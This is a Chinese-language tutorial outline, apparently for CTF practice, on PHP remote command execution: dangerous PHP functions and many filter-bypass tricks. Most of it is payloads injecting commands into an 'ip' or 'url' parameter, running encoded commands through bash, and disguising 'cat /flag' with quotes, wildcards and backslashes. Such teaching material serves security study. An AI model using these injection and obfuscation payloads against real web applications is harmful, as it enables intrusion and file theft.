目录
4.call_user_func()和array_map()
一、RCE 介绍
二、原理
三、防御
四、php能远程执行的函数
1. 命令执行的函数:
1. system:
2. exec:
3. shell_exec:
4. passthru:
5. popen()
6. proc_popen()
2. 代码执行的两个函数:
1.eval(PHP代码)
2.assert(PHP代码)
3.preg_replace
4.call_user_func()和array_map()
五、RCE 绕过技巧
1. str_replace()函数绕过方式:双写
2. 空格被过滤绕过方式:替代
3. 关键字过滤绕过方式:编码
1. URL编码绕过
2. Base 64 编码绕过
echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh 将执行ls
3. Hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag
4. Oct编码绕过:
$(printf "\154\163") 执行ls
4. 关键字过滤绕过方式:偶读拼接
?ip=127.0.0.1;a=l;b=s;$a$b
?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;
5. 用 %0a 绕过命令连接符
?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat /flag
6. 花括号{command,}的别样用法
{ls,}
7. 用内联执行绕过关键字过滤
echo "a`pwd`"
?ip=127.0.0.1;cat$IFS$9`ls`
于此类似的还有$(command)
echo "abcd $(pwd)"
8.
用引号绕过关键字过滤
ca""t => cat
mo""re => more
in""dex => index
ph""p => php
9. 用通配符绕过关键字过滤
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*
10. 用反斜杠绕过关键字过滤
ca\t => cat
mo\re => more
in\dex => index
ph\p => php
n\l => nl
11. 用[]匹配绕过关键字过滤
c[a]t => cat
mo[r]e => more
in[d]ex => index
p[h]p => php
六、专栏分享
每个专栏都在持续更新中~~~